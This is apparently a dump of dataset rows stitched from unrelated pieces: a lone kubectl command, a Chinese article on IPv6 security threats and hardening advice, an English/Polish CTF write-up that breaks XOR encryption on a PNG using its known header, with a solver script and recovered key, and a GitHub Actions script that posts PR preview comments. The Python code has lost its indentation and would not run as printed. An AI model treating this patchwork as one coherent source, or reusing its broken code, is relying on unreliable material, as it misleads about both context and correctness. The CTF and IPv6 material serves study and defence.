kubectl apply -f website-deny.yaml
```
|
sec-knowleage
|
原文 by [阿里聚安全](https://zhuanlan.zhihu.com/p/31795470?group_id=922141315996553216)
## 0x00 引言
近日,中共中央办公厅、国务院办公厅印发了《推进互联网协议第六版(IPv6)规模部署行动计划》,加快推进IPv6规模部署,构建高速率、广普及、全覆盖、智能化的下一代互联网。
随着计划实施推行以及移动互联网、物联网的大力发展,我国整个网络环境将发生翻天覆地的变化,全产业链已蓄势待发,目前IPv6根服务器架设中国开始部署,IPv6城域网、政府网站IPv6双栈化改造、IPv6城市公共无线网络等均已开始试点和部署,互联网BAT部分内容已支持IPv6访问,流量增长迅速,新的网络环境以及新兴领域均将面临着新的安全挑战。
按照部署计划,到2018年末,IPv6活跃用户数达到2亿,在互联网用户中的占比不低于20%,到2020年末,IPv6活跃用户数超过5亿,在互联网用户中的占比超过50%,新增网络地址不再使用私有IPv4地址,到2025年末,我国IPv6网络规模、用户规模、流量规模位居世界第一位,网络、应用、终端全面支持IPv6,全面完成向下一代互联网的平滑演进升级,形成全球领先的下一代互联网技术产业体系。
针对IPv6安全,计划中重点要求升级安全系统,强化IPv6地址管理,增强IPv6安全防护,加强IPv6环境工业互联网、物联网、车联网、云计算、大数据、人工智能等领域的网络安全技术、管理及机制研究,构筑新兴领域安全保障能力。
本文从IPv6安全威胁结合互联网网络安全运营视角进行了重点分析,同时探讨了互联网IPv6网络安全保障体系面临安全风险及加固建议。
## 0x01 IPv6协议介绍
IPv6(Internet Protocol version 6,互联网通信协议第6版)是数据包交换互联网络的网络层协议,主要用于寻址和路由,是IETF(互联网工程任务小组Internet Engineering Task Force,简称IETF)设计用来替代IPv4协议的,在早期协议发展阶段,IPv6也叫做IPng。
IETF自1990年开始,开始规划IPv4的下一代协议,除要解决IP地址短缺问题外,还要进行更多扩展。1994年,IETF会议中正式提议IPv6发展计划,并于1998年8月成为IETF的草案标准,最终IPv6在1998年底被IETF通过公布互联网标准规范(RFC 2460)的方式定义正式发布。
目前随着移动互联网、物联网的大力发展,计算机网络已经与人们的生活密切相关,可能身边的每一样电子设备都需要连入网络,IP地址需求量剧增,同时IPv4地址越来越紧缺,IPv6的发展越来越迫切。
IPv6发展的主要原因如下:
a)128位的地址空间:IPv6由128比特位构成,单从数量级上来说,IPv6所拥有的地址容量是IPv4的约8×1028倍,达到2128个巨大的地址空间,不但解决了网络地址资源数量的问题,同时也为物联网的发展提供了基础。
b)层次化的路由结构,而这是当前IPv4无法满足的:
分层汇总(Public、Site、Interface)
更为简单的ACL
更少的路由条目
c)实现真正的点到点通信,而不是NAT
d)对安全传输的内在支持,提供更为安全的数据传输
e)对数据报文进行简化,提供更快的数据包处理
f)支持移动IPv6,提供稳定的移动网络服务
g)自动配置、即插即用
h)流标签提供更多的服务质量控制能力
如下图1为IPv4和IPv6报文头结构,从报文头结构对比看,IPv6借鉴了IPv4的应用经验,大大简化了基本报头结构,仅包含8个字段,IPv6中所有非核心功能都由扩展报头实现。
IPv4和IPv6报文头主要差异点如下:
a)IPv6简化报头和数据长度计算:报头长度字段已经不在IPv6基本报头中使用,只使用一个字段来标示数据净荷的总长度;
b)更好支持DiffServ QoS服务:IPv4报头的服务类型字段在IPv6中该字段被扩展为业务流类型、流标签2个独立的字段;
c)取消中间分片:IPv4报头为数据分片提供了数据报文ID、分片标志、分片偏移值3个字段,目前有许多针对这3个字段的攻击手段, IPv6采用Path MTU发现机制,避免了中间路由器的分片处理,消除了一些安全隐患;
d)取消校验和字段:许多IPv4后续报文头如ICMP、UDP和TCP中均含有同时覆盖基本报头和数据部分的检验和字段,因此IPv4报头中校验和字段是多余的,此字段在IPv6基础报头中已经取消;
e)对选项功能的处理:IPv6采用扩展报头实现选项功能,解决了IPv4中带有选项内容的数据包不能被高效传输的问题,也使得IPsec以及未来可能出现的新的安全协议的采用更加方便。
从报文头结构对比可见,IPv4协议报文头结构冗余,影响转发效率,同时缺乏对端到端安全、QoS、移动互联网安全的有效支持,而IPv6协议重点针对上述几个方面进行了改进,采用了更加精简有效的报文头结构,IPv6协议选项字段都放在扩展头中,中间转发设备不需要处理所有扩展报文头,提高数据包处理速度,并且通过扩展选项实现IPsec安全加密传输和对移动互联网安全的支持。

图1 IPv4和IPv6报文头结构
从协议族来看,IPv6协议族相对于IPv4协议族,基本部分也发生了较大的变化,如ARP协议被邻居发现协议(NDP)代替,ICMPv6合并了IPv4中的ICMP(控制报文协议),IGMP(组成员协议)、ARP(地址解析协议)、RARP(反向地址解析协议)和RA(路由广播)等多个协议的功能。
## 0x02 IPv6协议设计的安全考虑
从协议的角度,IPv4协议诞生较早,前期设计几乎没有任何的安全考虑,因此特别是对报文地址的伪造与欺骗使得无法对网络进行很有效的监管和控制,而在IPv6协议设计之初,引入了AH(认证包头)、ESP(封装安全载荷)、SA(安全关联)、IKMP(密钥管理协议)等加密和认证机制,并强制实现了IPsec认证,IPsec协议族中的AH(AuthenticationHeader,报文认证头)和ESP(EncapsulationSecurity Payload,报文封装安全载荷)内嵌到协议栈中,作为IPv6的扩展头出现在IP报文中,提供完整性、保密性和源认证保护,从协议设计上较大地提升安全性。
从IPv6协议安全设计上考虑,相比IPv4主要有如下增强:
a) 可溯源和防攻击:IPv6地址资源丰富,不需要部署NAT,扫描困难
b) IPv6的默认IPsec安全加密机制:IPv6协议中集成了IPsec,通过认证报头(AH)和封装安全载荷报头(ESP)两个扩展头实现加密、验证功能,中间转发设备只需要对带有IPsec扩展包头的报文进行普通转发,大大减轻转发压力
c) 邻居发现协议(NDP)和SEND:采用NDP(neighbor discovery protocol)协议取代现有IPv4中ARP及部分ICMP控制功能如路由器发现、重定向等
d) 真实源地址检查体系:真实源IPv6地址验证体系结构(SAVA)分为接入网(Access Network)、区域内(Intra-AS)和区域间(Inter-AS)源地址验证三个层次,从主机IP地址、IP地址前缀和自治域三个粒度构成多重监控防御体系。
特别对于IPv4网络地址而言,数量非常有限,因此很多时候是一个地址被多台主机通过NAT等技术共用。使用IPv6之后,可以将每个地址指定给一个对象,每个地址唯一,IPv6的地址分配可采用逐级、层次化的结构,这将使得追踪定位、攻击溯源得到很大的改善,用户、报文和攻击关联对应,用户对自己的任何行为负责,并具有不可否认性。
IPv6协议也定义了多播地址类型,而取消了IPv4下的广播地址,可有效避免IPv4网络中利用广播地址发起的广播风暴攻击和DDoS攻击。同时,IPv6协议规定了不允许向使用多播地址的报文回复ICMPv6差错消息,能有效防止ICMPv6报文造成的放大攻击。
另外,IPsec协议族中的AH和ESP安全扩展包头为IPv6核心的安全机制和设计,提供了关键的加密和认证机制。
AH 是IPv6的一个安全扩展包头,在RFC4302中定义,协议号为51。IPv6的认证主要由AH来完成。认证包头通过在所有数据包头加入一个密钥,通过AH使数据包的接收者可以验证数据是否真的是从它的源地址发出的,并提供密码验证或完整性测试。这种认证是IP数据包通过一定加密算法得出的编码结果,相当于对IP数据包进行数字签名,只有密钥持有人才知道的“数字签名”来对用户进行认证,同时接收者可通过该签名验证数据包的完整性。AH的验证范围与ESP有所区别,包括了整个IPv6数据包。
AH位于IPv6头和一些上层协议头之间,如果存在扩展包头,则AH必须位于逐跳选项头、选路扩展头和分段扩展头之后。
ESP也是IPv6的一个安全扩展包头,在RFC4303中定义,协议号为50。其对IPv6数据包的有效载荷部分加密,不包括IPv6包头部分,能为IP层提供机密性、数据源验证、抗重放以及数据完整性检验等安全服务,其中数据机密性是ESP的主要功能,其他均为可选。ESP头位于IPv6头和上层协议之间,如果存在扩展包头,则ESP头必须位于逐跳选项头、选路扩展头、分段扩展头和认证头之后。由于ESP只对ESP头之后的数据加密,所以通常将目的地选项头置于ESP头之后。
ESP和AH各扩展包头可以单独使用,也可以一起使用。
## 0x03 IPv6网络安全威胁分析
IPv6相对于IPv4,除了和IPv4相同的安全威胁外,新增部分主要来自于协议族、协议报文格式、自身设计实现、IPv4向IPv6的演进过程中新增或者变化引入的安全威胁。
1. IPv6与IPv4共同的安全威胁
IPv6与IPv4同为网络层协议,有共同的安全威胁如下:
a) 未配置IPsec可实施网络嗅探,可能导致信息泄露
b) 应用层攻击导致的漏洞大多数在网络层无法消除
c) 设备仿冒接入网络
d) 未实施双向认证情况下可实施中间人攻击Man-in-the-Middle Attacks (MITM)
e) 泛洪攻击
2. IPv6协议族新增安全威胁
IPv6相对于IPv4在协议族上发生了较大的变化,新增安全威胁如下:
a) 邻居发现协议(ND)攻击:针对ARP的攻击如ARP欺骗、ARP泛洪等在IPv6协议中仍然存在,同时IPv6新增的NS、NA也成为新的攻击目标,存在DoS攻击、中间人攻击等安全威胁。
b) 新增ICMPv6协议作为IPv6重要的组成部分,存在DoS攻击、反射攻击等安全威胁;
c) Pv6 支持无状态的地址自动分配,该功能可能造成非授权用户可以更容易的接入和使用网络,存在仿冒攻击安全威胁;
d) IPv6 网络环境下由于网络扫描实施难度高,但仍可通过IPv6前缀信息搜集、隧道地址猜测、虚假路由通告及DNS查询等手段搜集到活动主机信息,通过DNS获取IPv6地址范围和主机信息可能会成为黑客优选攻击路径,针对DNS系统的攻击会更加猖獗;
e) IPv6组播地址仍然支持,存在通过扫描、嗅探甚至仿冒关键DHCP Server、Router等安全威胁。
f) IPv6路由协议攻击:RIPng/PIM依赖IPsec,OSPFv3协议不提供认证功能,而是使用IPv6的安全机制来保证自身报文的合法性,未配置IPv6安全机制,OSPFv3路由器存在仿冒的安全威胁;
g) 移动IPv6仿冒伪造攻击:移动IPv6节点能够在不改变IP地址的情况下,在任何地方接入网络都能够直接与其他节点通信,在提供可移动性及方便通信的同时,由于移动节点的不固定性,也给不法分子提供了攻击的机会,存在伪造绑定更新消息等安全威胁;
h) MLD仿冒及泛洪攻击。
3. IPv6协议报文格式新增安全威胁
IPv6 协议相关RFC标准在不断的发展更新,协议自身也存在漏洞,所有遵循IPv6协议的设备都会受到该漏洞的影响,新增安全威胁如下:
a)协议自身存在漏洞,如IPv6协议Type0路由头拒绝服务漏洞,该漏洞已于2007年12月由RFC 5095修补,禁用了IPv6扩展头中的Type 0路由头;
b) IPv6分片攻击
c) IPv6扩展头攻击
d) ND DAD攻击(Duplicate Address Detection)
e) ND Router Advertisement仿冒、DoS、中间人攻击
4. IPv6自身实现新增安全威胁
IPv6 和IPv4协议一样,设备与应用在实现对IPv6协议的支持时,不同的系统开发商因软件开发能力的不同,在IPv6协议软件开发、各种算法实现也会引入各种可能的安全漏洞。
从下一代互联网国家工程中心全球IPv6测试中心11月份发布的《2017 IPv6支持度报告》来看:
目前的操作系统中,75%左右都默认安装IPv6协议栈,65%左右支持DHCPv6,50%左右支持ND RNDSS。其中手机操作系统支持IPv6协议已经从实验室走向了应用阶段,Android 4.2、IOS 4.1、Windows Phone 6.5、Symbian 7.0都已经支持IPv6,并且默认安装IPv6,自以上各手机系统版本后推出的新版本均支持IPv6。在DHCPv6功能上,IOS支持得比较好,从V4.0开始支持stateless DHCPv6,V4.3.1支持Stateful DHCPv6。Windows Phone支持DHCPv6 Lite,Android系统不支持DHCPv6。在邻居发现(ND)选项RDNSS功能上,IOS目前已经支持ND RDNSS,Android 5.0以上已经支持ND RDNSS。若一个操作系统不支持DHCPv6和ND RDNSS,则无法在纯IPv6网络环境中自动配置查询域名服务器。
各种应用软件也逐渐开始支持IPv6以应对广大用户的需求。但是目前并不普遍,只有一些基础应用软件已经支持IPv6。
基础应用软件中有一小部分已可以支持IPv6,其中浏览器软件,如IE系列、Chrome、Firefox和Opera等都支持IPv6;下载软件和邮件客户端软件,如FileZilla3、SmartFTP4以及Outlook等都支持IPv6。但是国内自主研发的基础应用软件,除浏览器外,其他诸如下载软件、即时通讯软件等都尚无法在IPv6环境下正常使用。
各类软件安全实现不当都可能引入IPv6协议安全漏洞,需要做好安全编码及质量保障活动。
如下为典型的IPv6协议栈实现方面的漏洞。
1、Python getaddrinfo() remote IPv6 buffer overflow
2、Apache remote IPv6 buffer overflow
3、Postfix IPv6 unauthorized mail relay vulnerability
4、Openbsd remote code execution in IPv6 stack
……
5. IPv4向IPv6演进过程中新增安全威胁
IPv4向IPv6的过渡是一个长期的过程,在IPv4与IPv6共存时期,为解决两者间互通所采取的各种措施将带来新的安全风险。例如,隧道方式下存在的拒绝服务攻击、中间人攻击,NAT-PT技术下存在的拒绝服务攻击等。
IPv4向IPv6的演进过程中涉及到双栈、隧道以及翻译技术,主要安全威胁如下:
a) 双栈技术:许多操作系统都支持双栈,IPv6默认是激活的,但并没有向IPv4一样加强部署IPv6的安全策略,支持自动配置,即使在没有部署IPv6的网络中,这种双栈主机也可能受到IPv6协议攻击。
b) 隧道技术:几乎所有的隧道机制都没有内置认证、完整性和加密等安全功能,攻击者可以随意截取隧道报文,通过伪造外层和内层地址伪装成合法用户向隧道中注入攻击流量,存在仿冒以及篡改泛洪攻击安全威胁。
c) 翻译技术:涉及载荷转换,无法实现端到端IPsec,存在受到NAT设备常见的地址池耗尽等DDoS攻击安全威胁。
## 0x04 互联网IPv6网络安全保障体系及策略探讨
随着基于IPv6的下一代网络中应用的增加、速度的加快和规模的变大,IPv6网络面临着新的安全风险。
对于互联网网络,安全是保证网络健康发展的重要因素,IPv6网络安全保障体系的配套建设作为IPv6网络建设的重要方面,在IPv6网络设计阶段对网络安全需要进行通盘考虑,提升网络架构的整体安全性。
网络安全保障体系可分为静态安全防护体系以及动态安全运营体系两个层面。
静态安全防护体系根据ITU-T X.805标准(端到端通信系统安全框架),网络可分为基础设施层、业务层和应用层,每个网络层次可以划分为管理、控制和数据三个平面。采用多种技术手段隔离管控,并在每个平面实施相应安全防护措施,从而使每个平面在安全方面都具备访问控制、鉴别、不可抵赖、数据保密性、通信安全、完整性、可用性和隐私性8个属性防护能力。
动态安全运营体系通过安全检测和响应等安全基础设施和相关安全管理组织、制度和流程的配套建设,可实现对网络安全风险的动态发现和管理。
与IPv4相比,可以共用相同的网络整体安全保障体系,但在IPv4基础网络的前提下需要确定升级演进到IPv6的策略,基于IPv6的特点和安全威胁分析,识别IPv6安全产品缺失的现状并补齐,确定改造节奏,包括LVS、DNS等各类型服务器、网络设备、DDoS设备、防火墙等,升级安全系统,结合业务实际利用好IPv6协议本身的安全增强技术手段,增强IPv6安全防护,同时加强IPv6环境各业务领域特别是新兴领域物联网、云计算、大数据、人工智能等的网络安全技术、管理及机制研究,促进新的安全业务和应用的开展,形成全球领先的下一代互联网技术产业体系。
## 0x05 IPv6网络安全加固建议
虽然IPv6相对于IPv4来说增强了自身的安全机制,但一个新协议的引入必然会引入新的安全问题,对已有的网络安全技术体系造成影响,因此熟悉已有业务及网络、IPv6现状及其安全性并针对性部署安全加固非常重要。
针对不同的IPv6网络安全风险,有不同的安全应对技术、措施和方法,需要采取合适自身的IPv6安全解决方案及措施,构筑IPv6网络安全及IPv6环境下新兴领域安全保障能力。
如下典型的IPv6网络安全加固建议供参考。
a) 做好IPv6网络各层各面和各安全域的隔离及访问控制,将安全影响控制到最小;
b) 合理管控IPv6管理、控制和数据平面之间的资源互访,在各平面安全域根据各域的特点辅以相应的安全保护和控制措施,实施双栈的情况建议在IPv4/6双栈设备上采用严格的网络过滤和访问控制,防范IPv4和IPv6安全问题的相互影响;
c) 做好管理和控制平面IPv6网络接入的认证与鉴权,制定完善的边界防护策略,防止恶意设备及用户的接入,结合业务实际情况有效利用IPv6协议的IPsec特性、源地址过滤技术等加强平面内的安全保护;
d) 控制平面做好新增ICMPv6协议安全防护,建议根据实际情况选择合适的安全措施,例如配置ACL白名单,仅允许必须的ICMPv6等报文通过,接口关闭ICMPv6重定向、端口停止发送RA消息,关闭发送ICMP不可达信息,关闭源路由防止Type 0 Routing Header攻击等;
e) 控制平面通过IPsec、认证以及白名单策略等做好IPv6网络路由等协议安全防护;
f) 管理平面与IPv4网络类似,通过白名单策略、禁用不使用的IPv6服务等,确保攻击面最小;
g) 数据平面与IPv4网络类似,配置ACL白名单策略,关闭不必要的服务、禁止源路由,部署IPv6 uRPF等;
h) DNS做好IPv6扫描及嗅探的安全检测及防护;
i) 建议严格限制IPv6同一片报文的分片数目,设置合理的分片缓冲超时时间;
j) 建议配置端口的最大ND表项学习数量,限制扩展头的数量和同一类型扩展头实例的数目;
k) IPv6网络涉及各类服务器、终端、网络设备及应用软件等,设计及开发需要遵从成熟的安全工程方法及规范,确保IPv6协议栈安全质量,同时做好已知漏洞的安全检测及修复;
l) IPv6协议攻击的实施目前已有很成熟的开源安全工具套件,例如THC-IPv6、Si6 Networks ipv6-toolkit等,IPv6网络及协议上线运行时,需要提前做好网络中各部分IPv6协议栈健壮性测试、安全渗透测试及安全质量评估,及时削减安全风险;
m) 基于IPv6的特点和安全威胁分析,确定IPv4升级演进到IPv6的策略,识别IPv6安全产品缺失的现状并补齐,确定改造节奏,升级安全系统。
## 0x06 参考文档:
[1]IPv6的发展和安全性研究
[2]Atlasis, IPv6 Extension Headers: New Features, and New Attack Vectors, IPv6 Security Summit,
Troopers 13, Heidelberg, 11-15 March 2013
[3]RFC 2460: Internet Protocol, Version 6 (IPv6) Specification
[4]RFC 3756: IPv6 Neighbor Discovery (ND) Trust Models and Threats
[5]RFC 4291: IP Version 6 Addressing Architecture
[6]RFC 4443: Internet Control Message Protocol (ICMPv6) for the Internet Protocol Version 6 Specification
[7]RFC 4941: Privacy Extensions for Stateless Address Autoconfiguration in IPv6
[8]RFC 4942: IPv6 Transition/Coexistence Security Considerations
[9]下一代互联网国家工程中心-全球IPv6测试中心-《2017 IPv6支持度报告》
|
sec-knowleage
|
## Sleeping guard (Crypto, 50p)
###ENG
[PL](#pl-version)
In the task we get code:
```python
import base64
from twisted.internet import reactor, protocol
import os
PORT = 9013
import struct
def get_bytes_from_file(filename):
return open(filename, "rb").read()
KEY = "[CENSORED]"
def length_encryption_key():
return len(KEY)
def get_magic_png():
image = get_bytes_from_file("./sleeping.png")
encoded_string = base64.b64encode(image)
key_len = length_encryption_key()
print 'Sending magic....'
if key_len != 12:
return ''
return encoded_string
class MyServer(protocol.Protocol):
def connectionMade(self):
resp = get_magic_png()
self.transport.write(resp)
class MyServerFactory(protocol.Factory):
protocol = MyServer
factory = MyServerFactory()
reactor.listenTCP(PORT, factory)
reactor.run()
```
Which sends a png file over network, but we can see that there is some encryption involved and the key len is 12.
Connecting to the server returns the encrypted data.
12 bytes is a lot to brute-force, but we know it should be a png so we know the first 8 bytes of the header: `[137, 80, 78, 71, 13, 10, 26, 10]`.
We assumed this might be simply a XOR "encryption", therefore we can xor the first 8 bytes of the data we have with expected value and thus we get the xor key values.
Next we xored everything with 12 bytes key (missing 4 bytes were 0) and we checked if the file contents look reasonable, and they did!
There were some metadata that looked fine so our guess about the xor was correct.
We could now brute-force the missing 4 bytes, but we noticed that we have: `http://XXVXw3.org` in the data (X is some non-printable char).
We assumed this should be `http://www.w3.org` and therefore we could simply recover the missing 4 bytes of the key.
Then we just decrypted the whole file:
```python
import base64
import binascii
import codecs
import socket
def get_initial_key(decoded):
expected = [137, 80, 78, 71, 13, 10, 26, 10]
xor_key = [-1 for i in range(12)]
for i in range(8):
xor_key[i] = ord(decoded[i]) ^ expected[i]
print(xor_key)
def decrypt(decoded):
xor_key = [87, 111, 65, 104, 95, 65, 95, 75, 101, 121, 33, 63] # recovered key
result = ""
for i in range(len(decoded)):
result += chr(ord(decoded[i]) ^ xor_key[i % 12])
print(xor_key)
return result
url = "crypto.chal.csaw.io"
port = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((url, port))
data = ""
while True:
data += s.recv(9999)
if data.endswith("VyYEJhvvHSvn"):
break
try:
decoded = base64.b64decode(data)
decrypted = decrypt(decoded)
with codecs.open("img.png", "wb") as output_file:
output_file.write(decrypted)
except Exception as ex:
print ex
```
and got:

###PL version
W zadaniu dostajemy kod:
```python
import base64
from twisted.internet import reactor, protocol
import os
PORT = 9013
import struct
def get_bytes_from_file(filename):
return open(filename, "rb").read()
KEY = "[CENSORED]"
def length_encryption_key():
return len(KEY)
def get_magic_png():
image = get_bytes_from_file("./sleeping.png")
encoded_string = base64.b64encode(image)
key_len = length_encryption_key()
print 'Sending magic....'
if key_len != 12:
return ''
return encoded_string
class MyServer(protocol.Protocol):
def connectionMade(self):
resp = get_magic_png()
self.transport.write(resp)
class MyServerFactory(protocol.Factory):
protocol = MyServer
factory = MyServerFactory()
reactor.listenTCP(PORT, factory)
reactor.run()
```
Który wysyła plik png przez sieć, ale zadanie sugeruje ze plik jest zaszyfrowany a klucz ma 12 bajtów.
Po połączeniu do serwera dostajemy dane.
12 bajtów to za dużo na brute-force ale wiemy ze to png więc znamy pierwsze 8 bajtów nagłówka: `[137, 80, 78, 71, 13, 10, 26, 10]`.
Następnie założyliśmy że to może być zwykłe "szyfrowanie" XORem więc xorowaliśmy pierwsze 8 bajtów danych z oczekiwanymi wartościami dla png żeby dostać klucz.
Następnie xorowaliśmy cały plik 12 bajtowym kluczem (brakujące 4 bajty jako 0) i sprawdziliśmy czy zawartość pliku ma sens, i miała!
W pliku były jakieś meta-dane które wyglądały sensownie, więc mieliśmy racje z XORem.
Teraz moglibyśmy brutować brakujące 4 bajty ale zauważyliśmy w meta-danych : `http://XXVXw3.org` (zamiast X były nie-drukowalne znaki).
Założyliśmy że miało to być `http://www.w3.org` więc mogliśmy po prostu odzyskać za pomocą xora brakujące 4 bajty klucza.
Następnie odszyfrowalismy cały plik:
```python
import base64
import binascii
import codecs
import socket
def get_initial_key(decoded):
expected = [137, 80, 78, 71, 13, 10, 26, 10]
xor_key = [-1 for i in range(12)]
for i in range(8):
xor_key[i] = ord(decoded[i]) ^ expected[i]
print(xor_key)
def decrypt(decoded):
xor_key = [87, 111, 65, 104, 95, 65, 95, 75, 101, 121, 33, 63] # recovered key
result = ""
for i in range(len(decoded)):
result += chr(ord(decoded[i]) ^ xor_key[i % 12])
print(xor_key)
return result
url = "crypto.chal.csaw.io"
port = 8000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((url, port))
data = ""
while True:
data += s.recv(9999)
if data.endswith("VyYEJhvvHSvn"):
break
try:
decoded = base64.b64decode(data)
decrypted = decrypt(decoded)
with codecs.open("img.png", "wb") as output_file:
output_file.write(decrypted)
except Exception as ex:
print ex
```
I dostaliśmy:

|
sec-knowleage
|
import logging
import sys
from pathlib import Path
from typing import Optional
import httpx
from github import Github
from github.PullRequest import PullRequest
from pydantic import BaseModel, BaseSettings, SecretStr, ValidationError
github_api = "https://api.github.com"
class Settings(BaseSettings):
github_repository: str
github_event_path: Path
github_event_name: Optional[str] = None
input_token: SecretStr
input_deploy_url: str
class PartialGithubEventHeadCommit(BaseModel):
id: str
class PartialGithubEventWorkflowRun(BaseModel):
head_commit: PartialGithubEventHeadCommit
class PartialGithubEvent(BaseModel):
workflow_run: PartialGithubEventWorkflowRun
if __name__ == "__main__":
logging.basicConfig(level=logging.INFO)
settings = Settings()
logging.info(f"Using config: {settings.json()}")
g = Github(settings.input_token.get_secret_value())
repo = g.get_repo(settings.github_repository)
try:
event = PartialGithubEvent.parse_file(settings.github_event_path)
except ValidationError as e:
logging.error(f"Error parsing event file: {e.errors()}")
sys.exit(0)
use_pr: Optional[PullRequest] = None
for pr in repo.get_pulls():
if pr.head.sha == event.workflow_run.head_commit.id:
use_pr = pr
break
if not use_pr:
logging.error(
f"No PR found for hash: {event.workflow_run.head_commit.id}"
)
sys.exit(0)
github_headers = {
"Authorization": f"token {settings.input_token.get_secret_value()}"
}
url = f"{github_api}/repos/{settings.github_repository}/issues/{use_pr.number}/comments"
logging.info(f"Using comments URL: {url}")
response = httpx.post(
url,
headers=github_headers,
json={
"body": f"📝 Docs preview for commit {use_pr.head.sha} at: {settings.input_deploy_url}"
},
)
if not (200 <= response.status_code <= 300):
logging.error(f"Error posting comment: {response.text}")
sys.exit(1)
logging.info("Finished")
|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.